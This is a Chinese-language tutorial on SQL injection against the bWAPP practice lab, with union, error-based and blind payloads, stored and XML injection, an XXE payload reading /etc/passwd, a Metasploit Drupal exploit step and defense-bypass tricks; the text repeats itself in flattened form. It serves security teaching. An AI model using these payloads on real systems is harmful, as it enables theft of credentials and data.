3.bWAPP SQL注入篇
字数 4000 2025-08-11 17:40:08

SQL注入漏洞全面解析与实战教学

1. SQL注入基础概念

SQL注入(SQL Injection)是一种将恶意SQL代码插入或"注入"到应用的输入参数中,欺骗服务器执行恶意SQL命令的攻击方式。攻击者可以利用这种漏洞绕过安全机制,获取数据库中的敏感信息,甚至获得服务器控制权。

2. SQL注入类型与检测方法

2.1 GET/Search型注入

特征:通过URL参数传递搜索条件,通常使用LIKE语句进行模糊匹配

检测步骤

  1. 输入单引号'测试:http://example.com/sqli_1.php?title=g'&action=search
  2. 观察是否返回数据库错误信息
  3. 构造永真条件测试:g%' or 1=1 #
  4. 构造永假条件测试:g%' or 1=2 #
  5. 对比返回结果差异确认漏洞存在

注入利用

  1. 判断字段数:g%%27order%20by%208%23
  2. 查找回显点:g%%27union select 1,2,3,4,5,6,7%23
  3. 获取数据库名:g%%27union select 1,database(),3,4,5,6,7%23
  4. 获取表名:g%%27union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema='bWAPP'%23
  5. 获取字段名:g%%27union select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_schema='bWAPP' and table_name='users'%23
  6. 获取数据:g%%27union select 1,group_concat(login),group_concat(password),4,5,6,7 from users%23

2.2 GET/Select型注入

特征:通过URL参数直接选择数据,通常为数字型注入

检测步骤

  1. 构造永真条件:http://example.com/sqli_2.php?movie=1 and 1=1&action=go
  2. 构造永假条件:http://example.com/sqli_2.php?movie=1 and 1=2&action=go
  3. 对比返回结果确认漏洞

注入利用

  1. 判断字段数:1 order by 7
  2. 查找回显点:1 and 1=2 union select 1,2,3,4,5,6,7
  3. 获取数据库信息:1 and 1=2 union select 1,database(),3,4,5,6,7

2.3 POST/Search型注入

与GET/Search型注入原理相同,只是参数通过POST方式提交

2.4 POST/Select型注入

与GET/Select型注入原理相同,只是参数通过POST方式提交

2.5 AJAX/JSON/jQuery注入

特征:通过AJAX异步请求获取数据,返回JSON格式

检测方法

  1. 直接访问处理AJAX请求的PHP文件:sqli_10-2.php
  2. 注入测试:http://example.com/sqli_10-2.php?title=Iron%' and 1=1 %23

注入利用

  1. 构造联合查询:%' union select 1,group_concat(login),group_concat(password),4,5,6,7 from users#
  2. 或使用:%' union select 1,2,(select group_concat('~',login,'~',password) from users),4,5,6,7 #

2.6 登录表单注入

Login Form/Hero型

与GET/Select型注入类似

Login Form/User型

特殊点:用户名和密码分开验证,需要构造特定注入

利用方法

  1. 用户名:' union select 1,2,"77de68daecd823babbb58edb1c8e14d7106e83bb",4,5,6,7,8,9 #
  2. 密码:3(与联合查询中的第三个字段值相同)
  3. 其中77de68daecd823babbb58edb1c8e14d7106e83bb3的SHA1值

2.7 SQLite注入

特殊点

  • 注释符为--
  • 内置表为sqlite_master
  • 使用sqlite_version()函数获取版本

利用方法

  1. 判断字段数:Iron%' order by 6 --
  2. 查找回显点:123%' union select 1,2,3,4,5,6 --
  3. 获取表名:123%' union select 1,sqlite_version(),name,4,5,6 from sqlite_master --
  4. 获取表结构:123%' union select 1,sqlite_version(),sql,4,5,6 from sqlite_master --
  5. 获取数据:123%' union select 1,2,login,password,5,6 from users --

2.8 Drupal SQL注入(CVE-2014-3704)

利用方法

  1. 使用Metasploit模块:exploit/multi/http/drupal_drupageddon
  2. 设置目标路径:set targeturi /drupal/
  3. 设置目标主机和端口
  4. 执行攻击获取shell

2.9 存储型注入

Stored (Blog)

利用方法

  1. 注入测试:test','hack')#
  2. 获取数据库名:test', (select database())) #
  3. 获取表名:test', (select group_concat(table_name) from information_schema.tables where table_schema=database())) #
  4. 获取数据:test', (select group_concat(login,password) from users)) #
  5. 报错注入:' or updatexml(1,concat(0x7e,(select database()),0x7e),1)or'

Stored (User-Agent)

利用方法

  1. 修改User-Agent头进行注入
  2. 获取数据库名:test', (select database())) #
  3. 报错注入:' or updatexml(1,concat(0x7e,(select database()),0x7e),1)or'

Stored (XML)

利用方法

  1. SQL注入:
    <reset>
      <login>bee' or extractvalue(1, concat(0x7e, (select database()), 0x7e)) or '1'='1</login>
      <secret>Any bugs?</secret>
    </reset>
    
  2. XXE注入:
    <?xml version="1.0" encoding="UTF-8" ?>
    <!DOCTYPE hack [ <!ENTITY text SYSTEM "file:///etc/passwd"> ]>
    <reset>
      <login>&text;</login>
      <secret>hack</secret>
    </reset>
    

2.10 盲注技术

Boolean-Based盲注

利用方法

  1. 判断数据库长度:Iron Man' and length(database())=5 #
  2. 逐字符猜解库名:Iron Man' and (substr(database(),1,1))='b' #

Time-Based盲注

利用方法

  1. 基本测试:Iron Man' and sleep(3) -- q
  2. 条件延时:Iron Man' and sleep(if((1=2), 0, 3)) #

3. 防御措施分析

3.1 常见防御方法

  1. 参数化查询/预处理语句:最有效的防御方式
  2. 输入验证:对用户输入进行严格过滤
  3. 转义特殊字符
    • addslashes()函数
    • mysql_real_escape_string()函数
  4. 最小权限原则:数据库用户只赋予必要权限
  5. 错误处理:禁止显示详细错误信息

3.2 绕过防御的技术

  1. 宽字节注入:当数据库使用GBK等宽字符集时可能绕过
  2. 二次编码:对已编码的内容再次编码
  3. 注释符变异:使用不同注释符如-- #/* */

4. 实战技巧总结

  1. 信息收集:先确定数据库类型(MySQL、SQLite等)
  2. 注入点定位:通过错误回显或布尔逻辑判断
  3. 字段数判断:使用order by逐步测试
  4. 回显点确定:联合查询中插入可识别标记(如数字)
  5. 数据提取:使用group_concat合并多行结果
  6. 权限提升:尝试获取管理员凭据或系统权限
  7. 自动化工具:合理使用sqlmap等工具提高效率

5. 不同安全等级的差异

  1. Low级别:基本无防护,可直接注入
  2. Medium级别:通常使用addslashes()进行简单过滤
  3. High级别:使用更安全的mysql_real_escape_string(),且字符集设置正确

6. 附录:常用Payload

6.1 信息收集Payload

  1. 获取数据库版本:
    • MySQL:@@versionversion()
    • SQLite:sqlite_version()
  2. 获取当前用户:
    • MySQL:user()
    • 通用:current_user
  3. 获取数据库名:database()

6.2 数据提取Payload

  1. 获取所有表名:
    SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()
    
  2. 获取表结构:
    SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='users'
    
  3. 获取数据:
    SELECT group_concat(concat(login,0x7e,password)) FROM users
    

6.3 报错注入Payload

  1. MySQL报错注入:
    or updatexml(1,concat(0x7e,(select database()),0x7e),1)
    
  2. extractvalue报错:
    or extractvalue(1, concat(0x7e,(select database())))
    

6.4 盲注Payload

  1. 布尔盲注:
    and (select substr(login,1,1) from users limit 1)='a'
    
  2. 时间盲注:
    and if((select substr(login,1,1) from users limit 1)='a', sleep(3), 0)
    

通过掌握以上SQL注入技术和防御方法,安全人员可以更全面地评估Web应用的安全性,开发人员也能更好地保护自己的应用免受此类攻击。

SQL注入漏洞全面解析与实战教学 1. SQL注入基础概念 SQL注入(SQL Injection)是一种将恶意SQL代码插入或"注入"到应用的输入参数中,欺骗服务器执行恶意SQL命令的攻击方式。攻击者可以利用这种漏洞绕过安全机制,获取数据库中的敏感信息,甚至获得服务器控制权。 2. SQL注入类型与检测方法 2.1 GET/Search型注入 特征 :通过URL参数传递搜索条件,通常使用LIKE语句进行模糊匹配 检测步骤 : 输入单引号 ' 测试: http://example.com/sqli_1.php?title=g'&action=search 观察是否返回数据库错误信息 构造永真条件测试: g%' or 1=1 # 构造永假条件测试: g%' or 1=2 # 对比返回结果差异确认漏洞存在 注入利用 : 判断字段数: g%%27order%20by%208%23 查找回显点: g%%27union select 1,2,3,4,5,6,7%23 获取数据库名: g%%27union select 1,database(),3,4,5,6,7%23 获取表名: g%%27union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema='bWAPP'%23 获取字段名: g%%27union select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_schema='bWAPP' and table_name='users'%23 获取数据: g%%27union select 1,group_concat(login),group_concat(password),4,5,6,7 from users%23 2.2 GET/Select型注入 特征 :通过URL参数直接选择数据,通常为数字型注入 检测步骤 : 构造永真条件: http://example.com/sqli_2.php?movie=1 and 1=1&action=go 构造永假条件: http://example.com/sqli_2.php?movie=1 and 1=2&action=go 对比返回结果确认漏洞 注入利用 : 判断字段数: 1 order by 7 查找回显点: 1 and 1=2 union select 1,2,3,4,5,6,7 获取数据库信息: 1 and 1=2 union select 1,database(),3,4,5,6,7 2.3 POST/Search型注入 与GET/Search型注入原理相同,只是参数通过POST方式提交 2.4 POST/Select型注入 与GET/Select型注入原理相同,只是参数通过POST方式提交 2.5 AJAX/JSON/jQuery注入 特征 :通过AJAX异步请求获取数据,返回JSON格式 检测方法 : 直接访问处理AJAX请求的PHP文件: sqli_10-2.php 注入测试: http://example.com/sqli_10-2.php?title=Iron%' and 1=1 %23 注入利用 : 构造联合查询: %' union select 1,group_concat(login),group_concat(password),4,5,6,7 from users# 或使用: %' union select 1,2,(select group_concat('~',login,'~',password) from users),4,5,6,7 # 2.6 登录表单注入 Login Form/Hero型 与GET/Select型注入类似 Login Form/User型 特殊点 :用户名和密码分开验证,需要构造特定注入 利用方法 : 用户名: ' union select 1,2,"77de68daecd823babbb58edb1c8e14d7106e83bb",4,5,6,7,8,9 # 密码: 3 (与联合查询中的第三个字段值相同) 其中 77de68daecd823babbb58edb1c8e14d7106e83bb 是 3 的SHA1值 2.7 SQLite注入 特殊点 : 注释符为 -- 内置表为 sqlite_master 使用 sqlite_version() 函数获取版本 利用方法 : 判断字段数: Iron%' order by 6 -- 查找回显点: 123%' union select 1,2,3,4,5,6 -- 获取表名: 123%' union select 1,sqlite_version(),name,4,5,6 from sqlite_master -- 获取表结构: 123%' union select 1,sqlite_version(),sql,4,5,6 from sqlite_master -- 获取数据: 123%' union select 1,2,login,password,5,6 from users -- 2.8 Drupal SQL注入(CVE-2014-3704) 利用方法 : 使用Metasploit模块: exploit/multi/http/drupal_drupageddon 设置目标路径: set targeturi /drupal/ 设置目标主机和端口 执行攻击获取shell 2.9 存储型注入 Stored (Blog) 利用方法 : 注入测试: test','hack')# 获取数据库名: test', (select database())) # 获取表名: test', (select group_concat(table_name) from information_schema.tables where table_schema=database())) # 获取数据: test', (select group_concat(login,password) from users)) # 报错注入: ' or updatexml(1,concat(0x7e,(select database()),0x7e),1)or' Stored (User-Agent) 利用方法 : 修改User-Agent头进行注入 获取数据库名: test', (select database())) # 报错注入: ' or updatexml(1,concat(0x7e,(select database()),0x7e),1)or' Stored (XML) 利用方法 : SQL注入: XXE注入: 2.10 盲注技术 Boolean-Based盲注 利用方法 : 判断数据库长度: Iron Man' and length(database())=5 # 逐字符猜解库名: Iron Man' and (substr(database(),1,1))='b' # Time-Based盲注 利用方法 : 基本测试: Iron Man' and sleep(3) -- q 条件延时: Iron Man' and sleep(if((1=2), 0, 3)) # 3. 防御措施分析 3.1 常见防御方法 参数化查询/预处理语句 :最有效的防御方式 输入验证 :对用户输入进行严格过滤 转义特殊字符 : addslashes() 函数 mysql_real_escape_string() 函数 最小权限原则 :数据库用户只赋予必要权限 错误处理 :禁止显示详细错误信息 3.2 绕过防御的技术 宽字节注入 :当数据库使用GBK等宽字符集时可能绕过 二次编码 :对已编码的内容再次编码 注释符变异 :使用不同注释符如 -- 、 # 、 /* */ 4. 实战技巧总结 信息收集 :先确定数据库类型(MySQL、SQLite等) 注入点定位 :通过错误回显或布尔逻辑判断 字段数判断 :使用 order by 逐步测试 回显点确定 :联合查询中插入可识别标记(如数字) 数据提取 :使用 group_concat 合并多行结果 权限提升 :尝试获取管理员凭据或系统权限 自动化工具 :合理使用sqlmap等工具提高效率 5. 不同安全等级的差异 Low级别 :基本无防护,可直接注入 Medium级别 :通常使用 addslashes() 进行简单过滤 High级别 :使用更安全的 mysql_real_escape_string() ,且字符集设置正确 6. 附录:常用Payload 6.1 信息收集Payload 获取数据库版本: MySQL: @@version 或 version() SQLite: sqlite_version() 获取当前用户: MySQL: user() 通用: current_user 获取数据库名: database() 6.2 数据提取Payload 获取所有表名: 获取表结构: 获取数据: 6.3 报错注入Payload MySQL报错注入: extractvalue报错: 6.4 盲注Payload 布尔盲注: 时间盲注: 通过掌握以上SQL注入技术和防御方法,安全人员可以更全面地评估Web应用的安全性,开发人员也能更好地保护自己的应用免受此类攻击。